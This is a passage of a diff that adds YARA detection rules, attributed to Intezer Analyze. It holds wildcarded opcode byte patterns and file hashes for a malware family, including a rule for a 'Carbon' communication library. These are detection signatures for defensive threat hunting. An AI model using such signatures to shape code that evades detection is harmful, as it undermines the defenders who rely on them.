+		$block_10 = { 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_11 = { FF 7? ?? ?? 8B ?? ?? ?? FF 7? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 5? 89 ?? ?? ?? 39 ?? ?? ?? 0F 85 }
+		$block_12 = { 5? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 5? 89 ?? ?? ?? FF D? 5? 5? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_13 = { FF 7? ?? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_14 = { 0F BE ?? ?? ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 7C }
+		$block_15 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_16 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_17 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_18 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_19 = { 4C ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_20 = { FF 1? ?? ?? ?? ?? FF 7? ?? 8B ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_21 = { 8B ?? ?? 89 ?? ?? 8D ?? ?? 5? FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_22 = { 8B ?? 99 F7 ?? 83 ?? ?? ?? 8A ?? 83 ?? ?? ?? 33 ?? 4? 89 ?? ?? 88 ?? ?? 89 ?? ?? 85 ?? 7E }
+		$block_23 = { 8B ?? ?? 6A ?? 8D ?? ?? ?? 5? 5? 5? FF 7? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_24 = { 8B ?? ?? ?? 44 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_25 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_26 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 75 }
+		$block_27 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 8B ?? ?? ?? FF C? 89 ?? ?? ?? C7 }
+		$block_28 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_29 = { 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_30 = { 0F B6 ?? 23 ?? ?? 8B ?? ?? D3 ?? 8B ?? ?? D2 ?? 0A ?? FF 4? ?? 83 ?? ?? ?? 8B ?? ?? 7C }
+		$block_31 = { 6A ?? 8D ?? ?? ?? 5? 5? FF 7? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_32 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? 73 }
+		$block_33 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 74 }
+		$block_34 = { 48 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_35 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 0F 85 }
+		$block_36 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_37 = { 0F BF ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? E9 }
+		$block_38 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_39 = { 0F BF ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_40 = { 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? 8B ?? 89 ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? ?? 0F 82 }
+		$block_41 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_42 = { FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_43 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_44 = { 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_45 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_46 = { 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_47 = { 0F BE ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_48 = { B2 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_49 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_50 = { 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? 85 ?? 74 }
+		$block_51 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 66 ?? ?? ?? ?? EB }
+		$block_52 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_53 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 3B ?? ?? ?? 0F 87 }
+		$block_54 = { 0F B6 ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? 8B ?? 0F B6 ?? ?? ?? 03 ?? 8B ?? 88 }
+		$block_55 = { 8B ?? ?? ?? ?? ?? ?? FF C? 48 ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_56 = { 0F BE ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_57 = { 48 ?? ?? ?? ?? 8B ?? ?? 99 83 ?? ?? 03 ?? C1 ?? ?? 39 ?? ?? ?? 7E }
+		$block_58 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? ?? 77 }
+		$block_59 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_60 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 3D ?? ?? ?? ?? 0F 8C }
+		$block_61 = { B2 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_62 = { 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 85 ?? 0F 84 }
+		$block_63 = { 48 ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 75 }
+		$block_64 = { 8B ?? ?? ?? FF C? 89 ?? ?? ?? 0F B7 ?? ?? ?? 39 ?? ?? ?? 0F 83 }
+		$block_65 = { 48 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_66 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_67 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 84 }
+		$block_68 = { 8B ?? ?? ?? FF C? 48 ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_69 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 75 }
+		$block_70 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 7D }
+		$block_71 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_72 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 7F }
+		$block_73 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 85 ?? 0F 85 }
+		$block_74 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_75 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 85 ?? 0F 8E }
+		$block_76 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_77 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? 0F 83 }
+		$block_78 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_79 = { B2 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_80 = { 8B ?? ?? ?? 8B ?? ?? ?? FF C? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_81 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_82 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 74 }
+		$block_83 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 86 }
+		$block_84 = { 33 ?? 8B ?? ?? ?? F7 ?? ?? ?? FF C? 0F AF ?? ?? ?? 89 }
+		$block_85 = { 8B ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 0F 85 }
+		$block_86 = { 48 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_87 = { 0F B7 ?? ?? ?? ?? ?? ?? 25 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_88 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? 3B ?? 7D }
+		$block_89 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 39 ?? ?? ?? 0F 85 }
+		$block_90 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_91 = { 48 ?? ?? ?? ?? 48 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_92 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 75 }
+		$block_93 = { 8B ?? ?? ?? ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 74 }
+		$block_94 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_95 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 }
+		$block_96 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F 85 }
+		$block_97 = { B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_98 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 }
+		$block_99 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 8D }
+
+	condition:
+		hash.sha256(0, filesize) == "d1ad698567b04ea5ce8197c0316444ad8ee0350b46e0414f53f54c278b393a19" or
+		hash.sha256(0, filesize) == "e82d4b6d037568a4602e70f099005572b587c220793afd8f90c13cb7bbde61ed" or
+		hash.sha256(0, filesize) == "7fa4482bfbca550ce296d8e791b1091d60d733ea8042167fd0eb853530584452" or
+		24 of them
+}
+
+rule CarbonCommunicationLibrary_v4_00_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_1 = { 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 84 ?? 0F 84 }
+		$block_2 = { 89 ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_3 = { 6A ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F B7 ?? 5? 6A ?? 89 ?? ?? FF D? 5? 5? 85 ?? 74 }
+		$block_4 = { 66 ?? ?? ?? 6A ?? 8D ?? ?? 5? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_5 = { 8B ?? ?? 4F ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_6 = { FF 7? ?? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_7 = { 48 ?? ?? ?? ?? 5? 5? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 83 ?? ?? 0F 8E }
+		$block_8 = { 8B ?? 99 F7 ?? 83 ?? ?? ?? 8A ?? 83 ?? ?? ?? 33 ?? 4? 89 ?? ?? 88 ?? ?? 89 ?? ?? 85 ?? 7E }
+		$block_9 = { 8B ?? ?? 89 ?? ?? 8D ?? ?? 5? FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_10 = { 8B ?? ?? 6A ?? 8D ?? ?? ?? 5? 5? 5? FF 7? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_11 = { 8B ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_12 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_13 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_14 = { 0F B6 ?? 23 ?? ?? 8B ?? ?? D3 ?? 8B ?? ?? D2 ?? 0A ?? FF 4? ?? 83 ?? ?? ?? 8B ?? ?? 7C }
+		$block_15 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_16 = { FF 7? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_17 = { FF 3? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_18 = { 6A ?? 8D ?? ?? 5? 6A ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_19 = { 5? FF 7? ?? E8 ?? ?? ?? ?? 01 ?? ?? 0F B7 ?? ?? 83 ?? ?? 83 ?? ?? FF 4? ?? 39 ?? ?? 72 }
+		$block_20 = { 6A ?? 8D ?? ?? ?? 5? 5? FF 7? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_21 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_22 = { 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_23 = { 44 ?? ?? 4C ?? ?? 33 ?? 48 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_24 = { 41 ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 41 ?? ?? 49 ?? ?? ?? 44 ?? ?? 0F B7 ?? ?? 44 ?? ?? 72 }
+		$block_25 = { 5? FF 7? ?? FF 1? ?? ?? ?? ?? 4? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_26 = { 8B ?? ?? 03 ?? ?? 03 ?? ?? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 89 ?? ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 85 }
+		$block_28 = { FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 8B ?? ?? 85 ?? 0F 85 }
+		$block_29 = { 41 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 45 ?? ?? 44 ?? ?? ?? 45 ?? ?? 89 ?? ?? 85 ?? 0F 8E }
+		$block_30 = { 48 ?? ?? ?? ?? 44 ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_31 = { 89 ?? FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 85 }
+		$block_32 = { 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF D? 5? 5? 85 ?? 0F 84 }
+		$block_33 = { 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? ?? ?? ?? 5? FF D? }
+		$block_34 = { 6A ?? 8D ?? ?? 5? 6A ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 41 ?? ?? 48 ?? ?? 41 ?? ?? 3B ?? 0F 4C ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 74 }
+		$block_36 = { 48 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_37 = { 38 ?? ?? 0F 94 ?? ?? 8D ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_38 = { 8A ?? ?? 8B ?? ?? 21 ?? ?? 88 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_39 = { 38 ?? ?? 0F 94 ?? ?? 8D ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 3B ?? 0F 85 }
+		$block_40 = { FF 7? ?? 5? 5? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_41 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_42 = { FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_43 = { 48 ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? BF ?? ?? ?? ?? 85 ?? 0F 44 ?? 8B }
+		$block_44 = { 48 ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? BB ?? ?? ?? ?? 85 ?? 0F 44 ?? 8B }
+		$block_45 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_46 = { FF 7? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? 3B ?? 0F 85 }
+		$block_47 = { 38 ?? ?? 0F 94 ?? FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? 85 ?? 0F 85 }
+		$block_48 = { 8B ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 84 ?? 0F 84 }
+		$block_49 = { 8D ?? ?? 5? 8B ?? ?? 4? 5? FF 1? ?? ?? ?? ?? 5? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_50 = { 8B ?? ?? 83 ?? ?? 5? 8B ?? ?? 03 ?? 8B ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 84 }
+		$block_51 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_53 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_54 = { 44 ?? ?? 48 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_55 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? 25 ?? ?? ?? ?? 03 ?? C1 ?? ?? 83 ?? ?? 74 }
+		$block_56 = { FF 7? ?? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_57 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 86 }
+		$block_58 = { 4C ?? ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_59 = { FF 7? ?? 8D ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 3B ?? 0F 85 }
+		$block_60 = { 83 ?? ?? ?? 83 ?? ?? D1 ?? 0F B7 ?? 8D ?? ?? ?? 89 ?? ?? 85 ?? 74 }
+		$block_61 = { 5? 8B ?? 83 ?? ?? 5? 33 ?? 5? 8B ?? ?? 89 ?? 89 ?? ?? 39 ?? 0F 84 }
+		$block_62 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 33 ?? 5? 89 ?? 89 ?? ?? 39 ?? 0F 84 }
+		$block_63 = { 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? 89 ?? ?? 83 ?? ?? 0F 8C }
+		$block_64 = { 8B ?? 99 F7 ?? ?? 33 ?? 33 ?? 89 ?? ?? 89 ?? ?? 32 ?? 39 ?? ?? 7E }
+		$block_65 = { 8B ?? ?? 03 ?? ?? 5? 99 2B ?? 5? 8B ?? ?? 8B ?? D1 ?? 5? 3B ?? 7D }
+		$block_66 = { FF 7? ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_67 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 5? FF 1? ?? ?? ?? ?? EB }
+		$block_68 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 5? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_69 = { 8B ?? ?? 8B ?? ?? 03 ?? 0F B7 ?? ?? BE ?? ?? ?? ?? 66 ?? ?? 75 }
+		$block_70 = { 5? 8B ?? A1 ?? ?? ?? ?? 83 ?? ?? 5? 5? 33 ?? 33 ?? 3B ?? 0F 84 }
+		$block_71 = { 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_72 = { 2B ?? ?? ?? 0F B7 ?? 89 ?? ?? ?? 0F B7 ?? 3B ?? ?? ?? 0F 87 }
+		$block_73 = { 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 3B ?? 0F 85 }
+		$block_74 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF D? 89 ?? ?? 3B ?? 0F 84 }
+		$block_75 = { 8B ?? ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 84 ?? 0F 85 }
+		$block_76 = { 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_77 = { FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_78 = { 68 ?? ?? ?? ?? 6A ?? 5? FF D? A3 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_79 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? 2B ?? 2B }
+		$block_80 = { 2B ?? ?? ?? C6 ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 3B ?? 0F 87 }
+		$block_81 = { FF 3? FF 7? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? B0 ?? C9 C3 }
+		$block_82 = { 5? 6A ?? 8D ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_83 = { FF 7? ?? A1 ?? ?? ?? ?? FF 5? ?? 8B ?? ?? 3B ?? ?? 0F 82 }
+		$block_84 = { 68 ?? ?? ?? ?? 5? FF D? 5? 5? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_85 = { FF 3? FF 1? ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? 85 ?? 0F 84 }
+		$block_86 = { FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? 3B ?? 0F 85 }
+		$block_87 = { FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 85 }
